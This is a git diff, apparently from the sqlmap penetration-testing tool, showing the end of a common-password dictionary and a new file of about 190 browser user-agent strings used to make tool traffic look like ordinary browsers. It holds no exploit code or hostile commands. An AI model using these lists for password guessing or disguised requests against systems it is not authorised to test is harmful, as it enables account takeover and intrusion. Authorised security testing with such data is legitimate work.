+xbox360
+xcountry
+xdp
+xerxes
+xfer
+x-files
+xfiles
+xian
+xiang
+xiao
+ximena
+ximenita
+xing
+xiong
+xla
+x-men
+xmodem
+xnc
+xni
+xnm
+xnp
+xns
+xprt
+xtr
+xtreme
+xuan
+xxx
+xxx123
+xxxx
+xxxxx
+xxxxxx
+xxxxxxx
+xxxxxxxx
+xyz
+xyz123
+xyzzy
+y
+yaco
+yamaha
+yamahar1
+yamato
+yang
+yankee
+yankees
+yankees1
+yankees2
+yasmin
+yaya
+yeah
+yeahbaby
+yellow
+yellow1
+yellowstone
+yes
+yeshua
+yessir
+yesyes
+yfnfif
+ying
+yoda
+yogibear
+yolanda
+yomama
+yong
+yosemite
+yoteamo
+youbye123
+young
+young1
+yourmom
+yourmom1
+your_pass
+yousuck
+yoyo
+yoyoma
+yoyoyo
+ysrmma
+ytrewq
+yuan
+yukon
+yummy
+yumyum
+yvette
+yvonne
+yyyy
+yyyyyy
+yyyyyyyy
+yzerman
+z123456
+zachary
+zachary1
+zack
+zag12wsx
+zander
+zang
+zanzibar
+zap
+zapata
+zapato
+zaphod
+zappa
+zapper
+zaq123
+zaq12wsx
+zaq1xsw2
+zaqwsx
+zaqxsw
+zebra
+zebras
+zeng
+zenith
+zephyr
+zeppelin
+zepplin
+zero
+zerocool
+zeus
+zhai
+zhang
+zhao
+zhei
+zheng
+zhong
+zhongguo
+zhou
+zhuai
+zhuang
+zhui
+zhun
+zhuo
+zidane
+ziggy
+zigzag
+zildjian
+zimmerman
+zipper
+zippo
+zippy
+zirtaeb
+zk.:
+zmodem
+zodiac
+zoltan
+zombie
+zong
+zoomer
+zoosk
+zorro
+zouzou
+zuan
+zwerg
+zxc
+zxc123
+zxccxz
+zxcv
+zxcvb
+Zxcvb
+zxcvbn
+zxcvbnm
+Zxcvbnm
+zxcvbnm1
+zxcvbnm123
+zxcxz
+zxczxc
+zxzxzx
+zzz
+zzzxxx
+zzzz
+zzzzz
+zzzzzz
+zzzzzzz
+zzzzzzzz
diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt
new file mode 100644
index 0000000000..581da9ef81
--- /dev/null
+++ b/data/txt/user-agents.txt
@@ -0,0 +1,190 @@
+# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# See the file 'LICENSE' for copying permission
+
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1)
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2)
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
+Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
+Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
